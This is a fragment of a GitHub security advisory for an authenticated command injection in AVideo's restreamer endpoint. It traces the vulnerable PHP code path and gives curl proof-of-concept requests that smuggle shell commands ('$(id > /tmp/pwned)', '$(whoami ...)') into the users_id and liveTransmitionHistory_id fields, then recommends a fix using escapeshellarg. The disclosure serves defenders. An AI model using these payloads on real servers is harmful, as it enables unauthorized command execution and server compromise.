+ "details": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' > ' . $logFile . ' 2>&1 &');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"token\": \"VALID_TOKEN\",\n \"m3u8\": \"https://example.com/stream.m3u8\",\n \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n \"restreamsToken\": [\"VALID_TOKEN\"],\n \"users_id\": \"x$(id > /tmp/pwned)x\",\n \"liveTransmitionHistory_id\": \"1\"\n }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &\n```\n\nThe `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"token\": \"VALID_TOKEN\",\n \"m3u8\": \"https://example.com/stream.m3u8\",\n \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n \"restreamsToken\": [\"VALID_TOKEN\"],\n \"users_id\": \"1\",\n \"liveTransmitionHistory_id\": \"1$(whoami > /tmp/pwned2)1\"\n }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj->users_id)) {\n $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);\n}\nif (isset($robj->liveTransmitionHistory_id)) {\n $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments